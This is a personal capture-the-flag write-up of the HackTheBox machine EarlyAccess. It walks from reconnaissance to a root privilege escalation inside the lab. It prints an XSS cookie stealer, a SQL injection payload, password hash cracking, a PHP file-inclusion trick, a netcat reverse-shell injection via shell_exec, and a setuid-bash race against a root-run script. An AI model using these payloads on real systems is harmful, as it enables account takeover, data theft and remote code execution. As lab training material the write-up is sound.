4. Own one of the Linux based machines on Htb

Introduction

HackTheBox is a platform used by red-team pentesters to hone their skills and generally have fun practicing their craft. They offer a virtual platform, in which there are various boxes or machines varying from difficulty. To be able to start these challenges though, one has to hack their way into the website first. I’ve already done a fair share of HackTheBox machines, thus I decided to choose a box rated as Hard for my HtB Linux write-up.
https://i.imgur.com/HRZ69OJ.png

Lets get right into it

Reconnaisance

  1. Nmap 10.10.11.110

https://i.imgur.com/q0McK8T.png
  1. Start VNC

  2. Open browser + burp (disable proxy)

  3. Add earlyaccess.htb to etc hosts

  4. Open webpage

  5. Run dirb & ffuf in the background

FFuf output
https://i.imgur.com/DBuo4s1.png
  1. See register & login button

  2. Create account test test@test testtest

  3. Login

  4. Browse contents of ‘gamestore’ webshop

  5. Key-format: AAAAA-BBBBB-CCCC1-DDDDD-1234

  6. Many OWASP attempts (in messaging)

Exploitation

  1. Username works for XSS

  2. Its read out when sending message to admin

  3. There’s a specific ‘earlyaccess_session’ cookie token, in normal boxes if cookies arent the objective there’s usually only a phpsessid

  4. Using the built-in PHP engine to host a cookie stealer

$ php -S 0.0.0.0:8082
<?php

$cookie = $_GET['cookie'];
$fp = fopen('log.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);

?>
  1. Update name with XSS included

'<script>var i=new Image;i.src="http://10.10.14.106:8082/stealer2.php?cookie="+document.cookie;</script>
  1. Send a message via contact us to admin, takes around 30 seconds for admin to read it

  2. After 30 seconds got an Unsupported Request SSL error in my built in PHP server

  3. Googling for a while and decided to just put up Apache with SSL on my Kali machine, if that didn’t work I would have quit this machine

'<script>var i=new Image;i.src="https://10.10.14.106/index.php?cookie="+document.cookie;</script>
  1. Tailed the log.txt (see above block) and saw the Cookie being injected into the file

  2. Injected the cookies into the browser

  3. Success!

https://i.imgur.com/FhHnLv6.png

Recon.. again..

  1. The most interesting parts of the admin panel are a page to download python code related to activating game keys

The code is described as being used as a back up if the API does not work.

Back to exploitation

Here’s the code found in validate.py. You can check your key using the file.
$ python3 validate.py (key)
#!/usr/bin/env python3
import sys
from re import match

class Key:
    key = ""
    magic_value = "XP" # Static (same on API)
    magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)

    def __init__(self, key:str, magic_num:int=346):
        self.key = key
        if magic_num != 0:
            self.magic_num = magic_num

    @staticmethod
    def info() -> str:
        return f"""
        # Game-Key validator #

        Can be used to quickly verify a user's game key, when the API is down (again).

        Keys look like the following:
        AAAAA-BBBBB-CCCC1-DDDDD-1234

        Usage: {sys.argv[0]} <game-key>"""

    def valid_format(self) -> bool:
        return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key))

    def calc_cs(self) -> int:
        gs = self.key.split('-')[:-1]
        return sum([sum(bytearray(g.encode())) for g in gs])

    def g1_valid(self) -> bool:
        g1 = self.key.split('-')[0]
        r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
        if r != [221, 81, 145]:
            return False
        for v in g1[3:]:
            try:
                int(v)
            except:
                return False
        return len(set(g1)) == len(g1)

    def g2_valid(self) -> bool:
        g2 = self.key.split('-')[1]
        p1 = g2[::2]
        p2 = g2[1::2]
        return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))

    def g3_valid(self) -> bool:
        # TODO: Add mechanism to sync magic_num with API
        g3 = self.key.split('-')[2]
        if g3[0:2] == self.magic_value:
            return sum(bytearray(g3.encode())) == self.magic_num
        else:
            return False

    def g4_valid(self) -> bool:
        return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]

    def cs_valid(self) -> bool:
        cs = int(self.key.split('-')[-1])
        return self.calc_cs() == cs

    def check(self) -> bool:
        if not self.valid_format():
            print('Key format invalid!')
            return False
        if not self.g1_valid():
            print('g1')
            return False
        if not self.g2_valid():
            print('g2')
            return False
        if not self.g3_valid():
            print('g3')
            return False
        if not self.g4_valid():
            print('g4')
            return False
        if not self.cs_valid():
            print('[Critical] Checksum verification failed!')
            return False
        return True

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(Key.info())
        sys.exit(-1)
    input = sys.argv[1]
    validator = Key(input)
    if validator.check():
        print(f"Entered key is valid!")
    else:
        print(f"Entered key is invalid!")
I’m not very familiar with Python, thought with my experience as a software engineer it isn’t very tricky for me to try and reverse engineer this machine. I held a discussion with my friend who knew more about Reverse Engineering, where I posed him the following question:
  • Is it possible to easily reverse engineer this Python code? (and I gave him an example listed below)

r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
He explained to me that yes you could usuaully do that, by taking apart the algorithm and putting it in specific code-blocks so you have a better understanding for what’s going on – however he admitted also that this code was very tricky to understand. And for one to understand each code blocks they would need a very intimate knowledge of low level Python.
So I used my own experience as a Software Engineer to start to decipher this code. And I’ve created my own Python script that detects if the input given for each block corresponds to what the script passed as valid entries.
First I took the REGEX check I could find in the first few lines of code, and used a site to generate a couple of examples of how that input would look like. I used one of the examples as a base to test out my own code.
https://i.imgur.com/vYWYcy3.png https://i.imgur.com/8XfAOCA.png

Python

So the Python code you can see above can be summarized into 5 different portions. But before you ask, why do any of this:
  • The user has a page where someone can submit a key

  • An admin can validate the key with a seperate page

  • The website also has a support page that is setup like a forum

  • In one of the support tickets someone is complaining about a game breaking when you hit 99 score

  • The output of my fuff shows that there’s a game. subdomain website.

  • My guess is the next part is to submit a valid key, and use the user to login to the game website to continue pivoting upwards

Back to the topic, here are the 5 parts of the Python that needs to be deciphered. Above the code block is the portion of the key that it refers to. I’ve blanked out the serial code and used an example for obvious reasons.
Example Key: X3LAB-VPKUR-AAAAA-6KWER-12345
X3LAB -VPKUR-AAAAA-6KWER-12345
r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
X3LAB- VPKUR -AAAAA-6KWER-12345
p1 = g2[::2]
p2 = g2[1::2]
return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
X3LAB-VPKUR- AAAAA -6KWER-12345
if g3[0:2] == self.magic_value:
           return sum(bytearray(g3.encode())) == self.magic_num
X3LAB-VPKUR-AAAAA- 6KWER -12345
return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]
X3LAB-VPKUR-AAAAA-6KWER- 12345
cs = int(self.key.split('-')[-1])
return self.calc_cs() == cs
So the way I solved this was by using a website to debug my Python (didn’t have any interpreter installed locally)
Here’s the Python code I created to test out my key more easily. And get an understanding of how the code works.
from re import match

### This is where you put the key, I put an example to prevent spoiling
key = "X3LAB-VPKUR-AAAAA-6KWER-12345"

valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key))
print("Is the key valid? ", valid)

#### g1 discovered through bruteforcing all characters, its simply key
#### shouldve known string doesnt parse unless theres 5 char in
#### that block tho you can lengthen the enum range and have the entire alphabet and
#### all the nummers in the first portion to give you can idea how to shift your cipher

#### So what I did here is I adjusted the enum range from 0 to 255 and included a-z, 0-9 in the first part of the key to see the codes

real = "[221, 81, 145]"
g1 = key.split('-')[0]
# Only first 3 characters relevant from first part of the serial
r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
print("What it needs to be: ", real)
print("What it currently is: ", r)

#### g2 discovered by putting g1 on 0 and shifting g2 until the encode pattern matched

#### This takes the first, middle and last character and the second and fourth character and matches them in encode. I tested out with AAAAA AAAA1 A1111 etc. until I found the matching key.

g2 = key.split('-')[1]
p1 = g2[::2]
p2 = g2[1::2]
print("First part: " + p1)
print ("Second part: " + p2)
# So it seems we always get 3 characters on p1 and only 2 on p2
print("Encode P1 = ", sum(bytearray(p1.encode())))
print("Encode P2 = ", sum(bytearray(p2.encode())))
# Interesting.
if sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())):
    print("First and second part match G2 passed")
else:
    print("First and second part do not match")

#### g3

g3 = key.split('-')[2]
magic_value = "XP"
magic_num = 346
print ("Part of the serial that needs to be XP but currently is: " + g3[0:2])
value = sum(bytearray(g3.encode()))
print ("Value needs to be: ", value)

# Answer needs to be 346, starting with XP--- and 3 blanks (for ex: XP123)
# XP = 168, 346 - 168 = 178
# 3 characters to form 178

tester = sum(bytearray("PUTKY".encode()))
print ("Value is: ", tester)

if g3[0:2] == magic_value:
    print("Magic value matches")
else:
    print("Magic value does not match")

magicnumbermatcher = 'numbermatcher'
if sum(bytearray(g3.encode())) == magic_num:
    print("Magic value nunmber matches")
else:
    print("Magic value number does not match")


### g4 checker
# Tried 11111 as string first, which revealed the string ends with 1
# Tried AAAA1 as a string next, which revealed the A to be in the second pos
# 20 minutes of bruteforcing combinations later..
print("Fourth cipher: " + key.split('-')[3])
print("Answer: [12, 4, 20, 117, 0]")
[ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0]
print("Current: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])])


# The final destination.. the cs_validator

# To figure this out I took the code from calc_cs and ran it against print,
# it was 1__5 so I tried that first as the cipher.. and it worked!

cs = int(key.split('-')[-1])
print("CS value: ", cs)

gs = key.split('-')[:-1]
calculated_gs = sum([sum(bytearray(g.encode())) for g in gs])
print ("Needs to be: ", calculated_gs)
Here’s the output when run on the site (assuming your key is correct) Programiz
https://i.imgur.com/5hMp7Ok.png
When running against the script in my terminal:
https://i.imgur.com/mZBMUoE.png
However the site returns invalid on trying the same key. Why? This comment in the validate.py I think relates to that:
# "TODO: Sync with API (api generates magic_num every 30min)"
this bit relates to G3 which uses a number in the top part of the script to encode the cipher.
For g3 I specifically created a gdocs sheet to calculate the numbers and figure out the cipher.
https://i.imgur.com/KZ6gcLM.png
I assume there’s an API running that checks the serial code against the magic_num - so the next task is to retrieve the magic num and rerun the third portion of the key and use the new cipher to figure out the decoded string.
Well I’ve been looking for the api magic_num but cannot find it. To brute force it, one would have the following possible combinations:
\[ \begin{align}\begin{aligned}A/Z = 26\\0/9 = 10\\(26 + 10)^3 = 46656\end{aligned}\end{align} \]
This leaves us with 46656 possible combinations, that if not finished within 30 minute will not work at all. It is rarely the objective on HtB to use a bruteforcer unless given a list of possible usernames and passwords it is not done.
We know from the XP portion of the third cipher that the key has a min of
\[ \begin{align}\begin{aligned}88 + 80 = 168\\48 * 3 = 144\\90 * 3 = 270\\MIN 168 + 144 = 314\\MAX 168 + 270 = 438\end{aligned}\end{align} \]
So the API returns a number between 314 and 438

Recon

So there’s an API that my fuff couldn’t detect, here are the things I’ve tried to get the key:
  • Studied the burpsuite intercept both on admin and user to see if the key was interceptable - no success

  • Configured the burp proxy in ``POST``man to see if the key was grabbable through different ways - no success

The key is shown to be valid locally. So I’ve also tried things outside of the API enum:
  • Create a ticket with the code as the title and description - no success

The magic_num has to be obtainable…

A few days later..

I’ve reconned for multiple hours, trying to obtain the magic num through various burpsuite methods and OWASP tests to see if the magic num was hidden anywhere. Sadly, I couldn’t find anything about the magic num and I decided to look at the python code again. The third part of the cipher always starts with an XP. This was a valuable hint.
if g3[0:2] == self.magic_value:
   return sum(bytearray(g3.encode())) == self.magic_num
I continued testing with my own python script.
So the answer here for it to work locally is: XPAA0. With the bytearray encode it results to 346. If we change it into XPAA0 the byte encode results to 347. Interesting. We know from our previous calculations that it’s a range between 314 and 438.
\[438(max) - 314(min) = 124\]
So this narrows it down to only 124 attempts instead of the previous 45000 combinations I thought it previously could be. I’ve looked into it further using my code and discovered the following:
  • XPAB0 (347)

  • XPBA0 (347)

Both result into the same value. What I’ve also discovered is that the CS value needs to correspond with the new value.
  • XPBB0 (348)

  • XPAC0 (348)

From this I can enumerate and generate a list of possible combinations, making the range even shorter than what it appears to be above. So that’s what I began doing, I created another python script to generate a list of possible combinations. I used an online python compiler to test it out, you can copy & paste the code there to see it for yourself Programiz
key = ""
keylist = [chr(i) for i in range(ord('A'),ord('Z')+1)]
count = 0
results = []

for keys in keylist:
        new_key = key+keys+keys+"0"

        if sum(bytearray(new_key.encode())) in results:
                print ("Dup key")
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
                results.append(key_value)

        new_key = new_key.replace("0","1")
        if sum(bytearray(new_key.encode())) in results:
                print ("Dup key")
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
                results.append(key_value)

        new_key = new_key.replace("1","2")
        if sum(bytearray(new_key.encode())) in results:
                print ("Dup key")
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
                results.append(key_value)

        new_key = new_key.replace("2","3")
        if sum(bytearray(new_key.encode())) in results:
                print ("Dup key")
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
                results.append(key_value)

        new_key = new_key.replace("3","4")
        if sum(bytearray(new_key.encode())) in results:
                print ("Dup key")
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
                results.append(key_value)

        new_key = new_key.replace("4","5")
        if sum(bytearray(new_key.encode())) in results:
                print ("Dup key")
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
                results.append(key_value)

        new_key = new_key.replace("5","6")
        if sum(bytearray(new_key.encode())) in results:
                print ("Dup key")
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
                results.append(key_value)

        new_key = new_key.replace("6","7")
        if sum(bytearray(new_key.encode())) in results:
                print ("Dup key")
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
                results.append(key_value)

        new_key = new_key.replace("7","8")
        if sum(bytearray(new_key.encode())) in results:
                print ("Dup key")
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
                results.append(key_value)

        new_key = new_key.replace("8","9")
        if sum(bytearray(new_key.encode())) in results:
                print ("Dup key")
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("Key: XP" + new_key, "Value:",key_value, "Entry no#: ", count)
                results.append(key_value)

print("Count = ", count)
print(results)
While making & rereading this script I noticed that lots of keys caused the same magic number output.
AA9 = BB7, and everything before matches (i.e.) AA8 = BB6.
Normally, brute-forcing a box on HackTheBox is very uncommon; there are exceptions to this I’ve discovered for myself in the past when dealing with HtB. Namely one of the Windows machine that has long been retired produced a list of user and a list of passwords; in which I then built a shell script that used enum4linux in combination with those usernames and passwords to see if a match could be made. My intuition told me that with a list of 60 possible combinations a similar possibility exists on this box; so what I did then was inject all of the values into my burpsuite and I began bruteforcing with a list of 60 combinations. Changing this third cipher also requires the shifting of the numbers on the last cipher.

API key acquired

Warning

If you want to solve this cryptographic puzzle yourself, do not open the spoiler below!

Possible key combinations
KEY01-0H0H0-XPAA0-GAME1-1295
KEY01-0H0H0-XPAA1-GAME1-1296
KEY01-0H0H0-XPAA2-GAME1-1297
KEY01-0H0H0-XPAA2-GAME1-1298
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
I cleaned the above Python code a little bit, am no expert in Python as you can evidently see. I’m sure there’s a more efficient way of doing it, but I haven’t spent enough time writing Python to actually learn how to.

Warning

Again, scrolling down below will lead you inevitably to huge spoilers. Beyond this point, there’s no going back!

key = ""
keylist = [chr(i) for i in range(ord('A'),ord('Z')+1)]
count = 0
results = []

for keys in keylist:
        new_key = key+keys+keys+"0"
        starting_cipher = 1295

        if sum(bytearray(new_key.encode())) in results:
                pass
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
                results.append(key_value)

        new_key = new_key.replace("0","1")
        if sum(bytearray(new_key.encode())) in results:
                pass
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
                results.append(key_value)

        new_key = new_key.replace("1","2")
        if sum(bytearray(new_key.encode())) in results:
                pass
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
                results.append(key_value)

        new_key = new_key.replace("2","3")
        if sum(bytearray(new_key.encode())) in results:
                pass
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
                results.append(key_value)

        new_key = new_key.replace("3","4")
        if sum(bytearray(new_key.encode())) in results:
                pass
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
                results.append(key_value)

        new_key = new_key.replace("4","5")
        if sum(bytearray(new_key.encode())) in results:
                pass
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
                results.append(key_value)

        new_key = new_key.replace("5","6")
        if sum(bytearray(new_key.encode())) in results:
                pass
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
                results.append(key_value)

        new_key = new_key.replace("6","7")
        if sum(bytearray(new_key.encode())) in results:
                pass
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
                results.append(key_value)

        new_key = new_key.replace("7","8")
        if sum(bytearray(new_key.encode())) in results:
                pass
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
                results.append(key_value)

        new_key = new_key.replace("8","9")
        if sum(bytearray(new_key.encode())) in results:
                pass
        else:
                key_value = sum(bytearray(new_key.encode()))
                count=count+1
                print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
                results.append(key_value)

print("Count = ", count)
print(results)
After generating a list of possible keys, I logged in as admin again by using the exploit mentioned above (the session expired and someone had reset the machine). I then intercepted the POST on the key page, and then primed my Burpsuite with all of the possible keys. I had to enable an option to enable redirects because I noticed during the first run that I kept getting redirects. After enabling this option, & rerunning Burpsuite I waited until the list was parsed.
https://i.imgur.com/VJ7iCHP.png
Then after a few minutes, the results came in:
https://i.imgur.com/6NC4u1F.png

Important

Working key!

The key works for max for 30 minutes, but could change every other minute so for the next steps we need to be fast.

Pivot

Now, with a working game-key we can head back to the user account on an incognito window (as to prevent the admin cookie from being overwritten); and submit the working game key. After this, we can login to the game portal.
https://i.imgur.com/LSmxg5q.png
When I was scanning through the website I found this error:
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'i=new Image;i.src="https://10.10.14.93/index.php?cookie="+document.cookie;</scri' at line 1
I immediately noticed that my exploity username wasn’t being parsed correctly and that the page generated an SQL error which most likely indicated that OWASP SQL was the next vector of attack.
After a long period of trial and error I exploited the SQL on the page to show the admin password. The default table shows 3 columns, which means my injection would also require three parts. The hashtag at the end prevents the order by from being ran (which would result in an error otherwise). I’ve also tried searching for accounts, account and various other tables. It is recommended however to use other injections to see the version and get all tables and whatnot.
') UNION SELECT name,name,password FROM users #
https://i.imgur.com/hKq7QWe.png
Then I identified the hash found here, which was revealed to be SHA-1. Time to put it in hashcat
$ hashcat -a 0 -m 100 admin.hash /usr/share/wordlists/rockyou.txt
Got a cup of coffee and come back in a minute to see the password appear.
618292e936625aca8df61d5fff5c06837c49e491:gameover
Now that we have the administrator password we can log onto the dev subdomain with these credentials. This time with the PHPSESSID I ran dirbuster again. The output of this revealed a /actions/file.php which seemingly will pass on files.
https://i.imgur.com/YTLWcKY.png
Due to running a check with Burpsuite I know that there’s a hash.php file running on one of the pages
http://dev.earlyaccess.htb/home.php?tool=hashing
I intercepted the POST on this and found a few interesting fields.
action=hash&redirect=true&password=asd&hash_function=md5
This seems vulnerable for manipulation. So to gather an idea about how to manipulate this I decided to try and extract the contents of the hash.php through the file.php mentioned above.
https://i.imgur.com/ZDBt4Tm.png
Since the site uses PHP I decided to try out various strings to see what could pass. I did research into PHP file inclusion vulnerabilities and eventually discovered this site: cobalt.io/php-file-inclusion
In which the PHP wrapper file inclusion worked. By running the exploit the site returns the base64 code of the hash.php
https://i.imgur.com/xXgq6YY.png
I used an online base 64 decoder to turn it into understandable code.
 1<?php
 2include_once "../includes/session.php";
 3
 4function hash_pw($hash_function, $password)
 5{
 6        // DEVELOPER-NOTE: There has gotta be an easier way...
 7        ob_start();
 8        // Use inputted hash_function to hash password
 9        $hash = @$hash_function($password);
10        ob_end_clean();
11        return $hash;
12}
13
14try
15{
16        if(isset($_REQUEST['action']))
17        {
18                if($_REQUEST['action'] === "verify")
19                {
20                        // VERIFIES $password AGAINST $hash
21
22                        if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password']))
23                        {
24                                // Only allow custom hashes, if `debug` is set
25                                if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
26                                        throw new Exception("Only MD5 and SHA1 are currently supported!");
27
28                                $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
29
30                                $_SESSION['verify'] = ($hash === $_REQUEST['hash']);
31                                header('Location: /home.php?tool=hashing');
32                                return;
33                        }
34                }
35                elseif($_REQUEST['action'] === "verify_file")
36                {
37                        //TODO: IMPLEMENT FILE VERIFICATION
38                }
39                elseif($_REQUEST['action'] === "hash_file")
40                {
41                        //TODO: IMPLEMENT FILE-HASHING
42                }
43                elseif($_REQUEST['action'] === "hash")
44                {
45                        // HASHES $password USING $hash_function
46
47                        if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password']))
48                        {
49                                // Only allow custom hashes, if `debug` is set
50                                if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
51                                        throw new Exception("Only MD5 and SHA1 are currently supported!");
52
53                                $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
54                                if(!isset($_REQUEST['redirect']))
55                                {
56                                        echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>";
57                                        echo '<br>' . $hash;
58                                        return;
59                                }
60                                else
61                                {
62                                        $_SESSION['hash'] = $hash;
63                                        header('Location: /home.php
While I do have some experience writing PHP, I wasn’t completely sure what this code-block did; but I could tell that hash_function could be hijacked if debug was enabled. Through some trial and error I discovered that adding debug=true to the POST (through Burp) I could run shell commands through password by making hash_function run shell_exec. Being pretty confident, I set up my nc -nvlp 4242 and then I intercepted the POST once more, and injected my own version of it.
action=hash&redirect=true&password=nc+10.10.14.93+4242+-e+/bin/sh&hash_function=shell_exec&debug=true

Second foothold

That gave a hit, but the shell was a low TTY. Finally, a decent foothold into the machine.
https://i.imgur.com/AsJHjwu.png
From here on out my aim was to get a better shell, I did this by running
python3 -c 'import pty; pty.spawn("/bin/sh")'
That improved the TTY a little bit. Since we were on the www-adm account (as can seen in the whoami) I decided to su -l www-adm (login as www-adm) to get an even better shell. The password was the same as the admin password (gameover); now we have a proper shell.
Now the machine needs to be enumerated further, as with any machine, I curl’ed and pipelined it into the shell, executing it directly. There were a couple of interesting results – some plain-text passwords that had been stored in Axios(an API software).
Besides this, there’s also a file within the www-adm home directory called .wgetrc (hidden), in this file the following contents can be found
www-adm@webserver:~$ cat .wgetrc
cat .wgetrc
user=api
password=s3CuR3_API_PW!
There’s an API in which the username is API and we have the password in plaintext. In the LinPeas output from before, another interesting bit was this:
╔══════════╣ Unexpected in root
/.dockerenv
So from this a conclusion could be drawn; there’s an API running (most likely on docker). And we could most likely find more information about other users also mentioned in the linpeas output in this API. But the question remains, how do find this API and communicate with it? This Linux machine doesn’t have nettools that a sysadmin would use to detect all listening ports,
  • lsof -i -P -n

  • netstat -tulpn

  • ss -tulpn

Understanding the env.

When all the above failed to work, I tried installing my own tools, but that wasn’t possible with root access. This machine prevents all sorts of network tests (pinging, listening for open ports, etc.) – so clearly there was some information being hidden. Then I created a tool on my machine called netstat_withoutnetstat.sh and curled it with a direct sh pipeline with the following results:
127.0.0.11:33613 - 0.0.0.0:0
0.0.0.0:80 - 0.0.0.0:0
0.0.0.0:443 - 0.0.0.0:0
172.18.0.102:80 - 10.10.14.110:35996
172.18.0.102:80 - 10.10.14.110:36140
172.18.0.102:80 - 10.10.14.110:36044
172.18.0.102:53728 - 172.18.0.100:3306
172.18.0.102:80 - 10.10.14.110:36002
172.18.0.102:33486 - 10.10.14.110:4242
172.18.0.102:80 - 10.10.14.110:35956
172.18.0.102:60772 - 10.10.14.110:4242
172.18.0.102:80 - 10.10.14.110:36048
172.18.0.102:56130 - 172.18.0.100:3306
172.18.0.102:60148 - 172.18.0.100:3306
172.18.0.102:80 - 10.10.14.110:36006
172.18.0.102:80 - 10.10.14.110:36056
172.18.0.102:80 - 10.10.14.144:42283
172.18.0.102:80 - 10.10.14.110:36060
172.18.0.102:58394 - 10.10.14.110:8081
172.18.0.102:35472 - 10.10.14.144:4444
172.18.0.102:80 - 10.10.14.110:36018
172.18.0.102:80 - 10.10.14.110:36010
172.18.0.102:54674 - 172.18.0.100:3306
172.18.0.102:60144 - 172.18.0.100:3306
The 172.18 range was most likely the docker containers mentioned above. MySQL had connections to many different routes. So this 172.18 subnet requires further enumeration. There’s 172.18.0.100 and 172.18.0.102 that has connections to this machine. Enumerating this was lucky guess-work. I found a scan script on the internet and modified it to my needs to manually check each IP in this block for interesting results. I began with the .100 IP-address, this IP was running 3306``(mySQL) and ``33060 an unknown port but I assumed this was mySQL related. The next IP had a very interesting result that being the 172.18.0.101 which had open port 5000. The 172.18.0.102 had 80 (http) 443 (https) which I assumed was the front-end. After collecting these results I began to knock on the ports to see what was running on them.
www-adm@webserver:/tmp$ curl 172.18.0.101:5000
curl 172.18.0.101:5000
{"message":"Welcome to the game-key verification API! You can verify your keys via: /verify/<game-key>. If you are using manual verification, you have to synchronize the magic_num here. Admin users can verify the database using /check_db.","status":200}
Now that is a very interesting output! We know from the wgetrc that there’s API credentials. Curling this 172.18.0.101:5000/check_db output results in invalid auth. LinPeas has given me some interesting credentials I could try and using on this endpoint.
https://i.imgur.com/xq9rbNb.png

Credentials

When parsing this into a beautifier, some very interesting information appeared.
"MYSQL_USER=drew",
"MYSQL_PASSWORD=drew",
"MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5",
Next I opened a new kali terminal, and SSH’d to the terminal:

User flag

And then input the password shown above… and voila! We have user flag.
https://i.imgur.com/mZFGQIC.png
For the next part, I re-ran my LinPeas to collect the results on the Drew account. Do you remember the Docker bits from above? It’s becoming relevant now. Why? Because of this mail sent to Drew.
https://i.imgur.com/S6TcDFU.png
According to LinPeas, there is an interesting file in the following directory: /opt/docker-entrypoint.d/node-server.sh - of course, there was loads of additional information leading to rabbit-holes, I won’t be discussing those rabbit holes in this write-up. You can literally write a novel about the bunny-holes in this challenge See the image below as an example.
https://i.imgur.com/bK4p4lT.png
This node-server.sh has a pretty simple function; it starts SSH and cd’s into /usr/src/app/ (which does not exist on Drew) and installs NPM. The script is read-only and ran by root. I could tell by the time it took(over 2 weeks) to get to this user flag, it will be easier to obtain the root flag.
Another interesting thing LinPeas found was a SSH connection file. It belonged to a certain game-tester@game-server. I ran this SSH script against multiple IP’s found in Linpeas and eventually connected to 172.19.0.2. What I found in here was another instance of the node-server.sh This file is shared between Drew & this game-tester docker container. This game-tester has a /usr/src/app/ in it, there’s a server.js - which in itself isn’t very useful save for one feature: /autoplay. Why is this feature important? You could break the API by submitting an invalid integer - and from the mail above, we have determined that the API will then be restarted. So with the job that’s resetting the API a minute after it crashes leaves us with a gap to try and manipulate the contents of the node-server.sh before it is replaced by another script. We inject our own malicious code into it by the Drew account. That code looks like this:
#!/bin/bash
while true
        do
                cp /tmp/node-server.sh /opt/docker-entrypoint.d/node-server.sh
        done
What this does is continously copy my own malicious node-server.sh before it is replaced by the reset function. The goal of this is to have the docker-container execute the script and become root. The code from above I also put into the /tmp/ directory (of Drew user) and then ran it.

Root exploitation

Here is the content of the node-server.sh I created in the /tmp/ directory.
#!/bin/bash
cp /bin/bash tmp/bash
chown root:root /tmp/bash
chmod u+s /tmp/bash
Up next was to crash the API via the game-tester account, which could easily be done via:
curl -X ``POST`` -d "rounds=3.333333333" http://172.19.0.3:9999/autoplay

Root flag

